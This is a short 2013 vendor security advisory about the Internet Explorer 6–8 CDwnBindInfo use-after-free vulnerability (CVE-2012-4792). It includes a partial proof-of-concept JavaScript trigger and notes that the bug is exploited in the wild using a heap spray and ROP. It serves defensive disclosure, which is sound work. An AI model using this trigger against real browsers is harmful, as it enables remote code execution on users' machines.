LIONIC®
Security Chip Provider

03/01/2013
Doc No: SN-2013-01001

Security News

2013-01001 Microsoft Internet Explorer CDwnBindInfo Use-After-Free Vulnerability

1. Affected Version

Microsoft Internet Explorer 6
Microsoft Internet Explorer 7
Microsoft Internet Explorer 8

2. Description

Microsoft Internet Explorer versions 6, 7 and 8 are susceptible to a CDwnBindInfo use-after-free vulnerability (CVE-2012-4792) that may result in remote code execution.

3. Vulnerability Analysis

The partial proof-of-concept code is listed as follows:

```
CollectGarbage();


try {
    e0 = document.getElementById("a");
    e1 = document.getElementById("b");
    e2 = document.createElement("q");
    e1.applyElement(e2);
    e1.appendChild(document.createElement('button'));
    e1.applyElement(e0);
    e2.outerText = "";
    e2.appendChild(document.createElement('body'));
} catch(e) { }
CollectGarbage();
for(var i =0; i < 20; i++)
{
    arrObject[i].className =
```

```
unescape("abababababababababababababababababababababa");
            }
            var eip = window;
            var data = "https://www.google.com/settings/account";
            eip.location = unescape("%u0b30%u0c0c" + data);</HTML>
```

Table 1: The partial proof-of-concept code

A use-after-free condition occurs when a CButton object is freed, but a reference is kept and used again during a page reload, an invalid memory that's controllable is used, and **allows arbitrary code execution** under the context of the user.

This vulnerability is currently being exploited in the wild, using Adobe Flash to achieve a heap spray and Java to provide Return Oriented Programming (ROP) gadgets.

4. Recommendation

1. AegisLab IDP signature database can prevent this attack since 01/02/2013.
2. Apply appropriate vendor supplied patches or service pack.
3. Do not click on untrusted hyperlinks no matter who they are from.

5. Reference

1. http://technet.microsoft.com/en-us/security/advisory/2794220
2. CVE-2012-4792
3. http://www.kb.cert.org/vuls/id/154201